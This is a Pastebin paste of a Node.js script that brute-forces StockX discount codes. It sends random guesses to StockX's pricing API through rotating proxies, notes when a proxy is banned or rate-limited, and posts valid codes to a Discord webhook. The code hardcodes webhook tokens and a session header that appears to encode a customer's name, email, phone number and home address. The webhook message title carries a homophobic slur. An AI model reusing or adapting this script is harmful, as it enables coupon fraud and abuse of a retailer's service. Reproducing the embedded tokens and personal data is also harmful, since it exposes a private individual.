Advertisement
Guest User

Untitled

a guest
Jul 21st, 2019
586
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.11 KB | None | 0 0
  1. const requests = require('request');
  2.  
  3. const proxies = [];
  4. const webhook = [
  5. "https://discordapp.com/api/webhooks/404347534891417601/r5HJldnUklgQIdTGANbHK62XvLbzOvWu5dkUhihg0czU1Ppe6PfvwOHKkiyifcvOKE8C"
  6. ]
  7.  
  8.  
  9. const amount = [
  10. '35'
  11. ]
  12.  
  13. const alphabet = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p",
  14. "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
  15. ];
  16.  
  17. const used = [];
  18.  
  19. loadUsed();
  20.  
  21. function generateCode() {
  22. //pick 3 random letters
  23. var randomAlphabet1 = alphabet[Math.floor(Math.random() * alphabet.length)];
  24. var randomAlphabet2 = alphabet[Math.floor(Math.random() * alphabet.length)];
  25. var randomAlphabet3 = alphabet[Math.floor(Math.random() * alphabet.length)];
  26. let randomString = randomAlphabet1 + randomAlphabet2 + randomAlphabet3;
  27. let codeUsed = used.includes(randomString);
  28. if (codeUsed != true) {
  29. for (var i = 0; i < amount.length; i++) {
  30. let codeAmount = amount[i];
  31. if (codeAmount == '5000') {
  32. let code = `STXCHI${codeAmount}${randomString.toUpperCase()}`;
  33. checkCode(code, randomString);
  34. setTimeout(generateCode, 5000);
  35. } else {
  36. let code = `STOCKXCHI${codeAmount}${randomString}`;
  37. checkCode(code, randomString);
  38. setTimeout(generateCode, 5000);
  39. }
  40.  
  41. }
  42. } else {
  43. console.log("already used...");
  44. setTimeout(generateCode, 5000);
  45. }
  46. }
  47.  
  48.  
  49. function checkCode(code, randomString) {
  50. let proxy = proxies[Math.floor(Math.random() * proxies.length)];
  51. const proxySplit = proxy.split(':');
  52. var proxyUrl = "";
  53. // set proxy url to use in the request
  54. if (proxySplit.length == 2) {
  55. proxyUrl = "http://" + proxySplit[0] + ":" + proxySplit[1];
  56. } else {
  57. proxyUrl = "http://" + proxySplit[2] + ":" + proxySplit[3] + "@" + proxySplit[0] + ":" + proxySplit[1];
  58. }
  59. // set proxy to the request object
  60. const request = requests.defaults({
  61. proxy: proxyUrl
  62. });
  63.  
  64. //send request to stockx checking if code exists
  65. var options = {
  66. method: "POST",
  67. url: `https://stockx.com/api/pricing?currency=CAD`,
  68. headers: {
  69. 'postman-token': 'e7c68945-2928-5267-d2f4-01e22c8f29d5',
  70. 'cache-control': 'no-cache',
  71. accept: '*/*',
  72. 'x-requested-with': 'XMLHttpRequest',
  73. appos: 'web',
  74. appversion: '0.1',
  75. 'content-type': 'application/json',
  76. 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36',
  77. 'grails-user': 'eyJDdXN0b21lciI6eyJCaWxsaW5nIjp7ImNhcmRUeXBlIjoiUGF5UGFsIiwidG9rZW4iOiJrajJ3dzJwIiwibGFzdDQiOm51bGwsImFjY291bnRFbWFpbCI6InIuaW5mYW50ZTA0MDdAZ21haWwuY29tIiwiZXhwaXJhdGlvbkRhdGUiOm51bGwsImNhcmRob2xkZXJOYW1lIjoiUm9iZXJ0byBJbmZhbnRlIiwiQWRkcmVzcyI6eyJmaXJzdE5hbWUiOiJSb2JlcnRvIiwibGFzdE5hbWUiOiJJbmZhbnRlICIsInRlbGVwaG9uZSI6IjUxOTMxODkxNDMiLCJzdHJlZXRBZGRyZXNzIjoiTG9uZG9uIiwiZXh0ZW5kZWRBZGRyZXNzIjoiMTM1IEJlbG1vbnQgRHIgVW5pdCAxOCIsImxvY2FsaXR5IjoiTG9uZG9uIiwicmVnaW9uIjoiT04iLCJwb3N0YWxDb2RlIjoiTjZKIDRKMyIsImNvdW50cnlDb2RlQWxwaGEyIjoiQ0EifX0sIlNoaXBwaW5nIjp7IkFkZHJlc3MiOnsiZmlyc3ROYW1lIjoiUm9iZXJ0byIsImxhc3ROYW1lIjoiSW5mYW50ZSAiLCJ0ZWxlcGhvbmUiOiI1MTkzMTg5MTQzIiwic3RyZWV0QWRkcmVzcyI6IkxvbmRvbiIsImV4dGVuZGVkQWRkcmVzcyI6IjEzNSBCZWxtb250IERyIFVuaXQgMTgiLCJsb2NhbGl0eSI6IkxvbmRvbiIsInJlZ2lvbiI6Ik9OIiwicG9zdGFsQ29kZSI6Ik42SiA0SjMiLCJjb3VudHJ5Q29kZUFscGhhMiI6IkNBIn19LCJ1dWlkIjoiYzlmYTY0MGItN2U4YS0xMWU2LWIzMTYtMTJjZGExYzliNmE1IiwiaWQiOiI2OTExMCIsImhhc0J1eWVyUmV3YXJkIjpmYWxzZX19',
  78. origin: 'https://stockx.com'
  79. },
  80. body: {
  81. context: 'buying',
  82. products: [{
  83. sku: "75098274-0b8b-4cc1-9159-9ed659ad31fe",
  84. amount: 11000,
  85. quantity: 1
  86. }],
  87. discountCodes: [code]
  88. },
  89. json: true
  90. };
  91. request(options, function (error, response, body) {
  92. // let data = JSON.parse(body);
  93. if (body) {
  94. let discountStatus = (body.discount_error);
  95. if (response.statusCode != 200) {
  96. console.log(response.statusCode);
  97. console.log("Banned... Proxy");
  98. return;
  99. } else {
  100. console.log(`testing: ${randomString}`);
  101. saveUsed(randomString);
  102. console.log(discountStatus);
  103. if (discountStatus && (discountStatus != `The discount code '${code}' is invalid.`) && (discountStatus != `The discount code \\'${code}\\' is invalid.`)) {
  104. if (JSON.stringify(body).includes("rate limited")) {
  105. console.log("Banned. Proxy");
  106. return;
  107. } else {
  108. console.log(body);
  109. sendSuccess(code, randomString, body);
  110. }
  111. }
  112. }
  113. }
  114.  
  115. });
  116. }
  117.  
  118.  
  119. function sendSuccess(code, randomString, body) {
  120. var options = {
  121. method: 'POST',
  122. url: 'https://discordapp.com/api/webhooks/602373974030024715/R6nKUv1eqQ9gQvNEBBDG793vIVYoTXQYm_lodlHdQ9qc1LmR1oHHUUqzciS5jHN_Gn0q',
  123. headers: {
  124. 'postman-token': '73e3cd02-b0b8-f1a2-b4cb-8a3f7fd01d80',
  125. 'cache-control': 'no-cache',
  126. 'content-type': 'application/json'
  127. },
  128. body: JSON.stringify({
  129. username: "ROBERTO's Dad",
  130. avatar_url: "https://pbs.twimg.com/profile_images/1146261498488086528/4wT1rB7V_400x400.png",
  131. embeds: [{
  132. author: {
  133. name: "Stock X Sniper",
  134. icon_url: "https://pbs.twimg.com/profile_images/1146261498488086528/4wT1rB7V_400x400.png"
  135. },
  136. title: "Found Code faggot",
  137. color: 55296,
  138. fields: [{
  139. name: "Code",
  140. value: code,
  141. inline: false
  142. },
  143. {
  144. name: "Body",
  145. value: JSON.stringify(body),
  146. inline: false
  147. }
  148. ]
  149. }]
  150. })
  151. };
  152.  
  153. requests(options, function (error, response, body) {
  154. if (error) throw new Error(error);
  155. console.log(body);
  156. });
  157. }
  158.  
  159. function loadUsed() {
  160. const fs = require('fs');
  161. fs.readFile("usedCodes.txt", function (error, data) {
  162. if (error) {
  163. throw error;
  164. }
  165. data.toString().split("\n").forEach(function (line, index, arr) {
  166. if (index === arr.length - 1 && line === "") {
  167. return;
  168. }
  169. used.push(line);
  170. });
  171. });
  172. }
  173.  
  174.  
  175. function saveUsed(code) {
  176. const fs = require('fs');
  177.  
  178. if (code.includes("5000")) {
  179. fs.appendFileSync('fiveCodes.txt', `${code}\n`);
  180. } else {
  181. fs.appendFileSync('usedCodes.txt', `${code}\n`);
  182. }
  183. }
  184.  
  185. generateCode();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement